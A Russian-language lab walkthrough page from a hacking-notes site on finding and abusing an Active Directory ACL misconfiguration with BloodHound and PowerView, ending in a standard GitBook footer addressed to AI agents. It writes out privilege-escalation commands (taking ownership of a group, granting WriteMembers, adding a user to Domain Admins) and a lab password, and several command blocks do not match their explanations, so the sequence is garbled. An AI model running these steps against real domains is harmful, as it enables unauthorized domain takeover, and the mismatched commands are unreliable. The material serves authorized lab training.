> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md).
# Анализ с помощью BloodHound
После создания уязвимых объектов можно снова запустить сбор SharpHound:
{% code overflow="wrap" %}
```powershell
. ./SharpHound.exe
```
{% endcode %}
SharpHound генерирует `.zip` файле.
Затем запускаем BloodHound:
{% code overflow="wrap" %}
```powershell
bloodhound --no-sandbox &
```
{% endcode %}
Затем мы импортируем `.zip` файл в BloodHound.
После импорта мы можем увидеть:
* новых пользователей;
* новые группы;
* новые ACL;
* пути повышения привилегий;
* отношения между объектами.
### Поиск пути к Domain Admin
В BloodHound мы используем анализ:
{% code overflow="wrap" %}
```bash
Найти кратчайшие пути к Domain Admins
```
{% endcode %}
Этот запрос находит кратчайшие пути к группе администраторов домена.
В лаборатории BloodHound показывает, например, группу:
```bash
IT ADMINS
```
Эта группа содержит нескольких пользователей, таких как:
```bash
Deidre Corry
Lisette.pru
Gypsy.nelle
```
Затем мы можем анализировать отношения между группами, например:
```wasm
Project Management -> IT ADMINS -> Domain Admins
```
Цель состоит в том, чтобы понять, как ошибка в конфигурации прав может привести к привилегированной группе.
### Эксплуатация плохой конфигурации ACL
> Этот шаг выполняется только в авторизованной лаборатории.
В этом сценарии пользователь `monica.cora` имеет рабочий путь к группе:
```
IT ADMINS
```
Мы воспользуемся нашими правами, чтобы взять под контроль эту группу, а затем продвинуться к более привилегированной группе.
### Подключение с пользователем monica.cora
Мы подключаемся с пользователем:
{% code overflow="wrap" %}
```
monica.cora
```
{% endcode %}
Пароль, использованный в лаборатории:
```
Password123$
```
Мы открываем сеанс PowerShell с этим пользователем:
Объяснение:
* `runas` запускает программу от имени другого пользователя;
* `/netonly` использует эти учетные данные только для сетевого доступа;
* `powershell` открывает новый сеанс PowerShell.
### Загрузка PowerView
В новом сеансе PowerShell:
{% code overflow="wrap" %}
```bash
Set-DomainObjectOwner -Identity "IT ADMINS" -OwnerIdentity monica.cora
```
{% endcode %}
Это загружает PowerView в `monica.cora`сеанс 's.
### Эксплуатация права WriteOwner
У **WriteOwner** право позволяет вам изменить владельца объекта Active Directory.
В этом сценарии, `monica.cora` становится владельцем группы:
```
IT ADMINS
```
Порядок :
{% code overflow="wrap" %}
```powershell
Add-DomainObjectAcl -TargetIdentity "IT ADMINS" -Rights WriteMembers -PrincipalIdentity monica.cora
```
{% endcode %}
После этого шага владельцем объекта становится:
```
WHOAMI/monica.cora
```
### Добавлено право WriteMembers
Владение объектом обычно позволяет изменять его DACL.
Поэтому мы добавляем к `monica.cora` право изменять участников `IT ADMINS` группе.
{% code overflow="wrap" %}
```powershell
Add-DomainGroupMember -Identity 'IT ADMINS' -Members 'monica.cora'
```
{% endcode %}
Это право позволяет `monica.cora` добавлять участников в `IT ADMINS` группе.
### monica.cora добавлен в группу IT ADMINS
Теперь мы добавляем `monica.cora` в группу:
{% code overflow="wrap" %}
```powershell
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'monica.cora'
```
{% endcode %}
Чтобы проверить:
```wasm
Get-DomainGroupMember -Identity "IT ADMINS" | select MemberName
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/ru/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.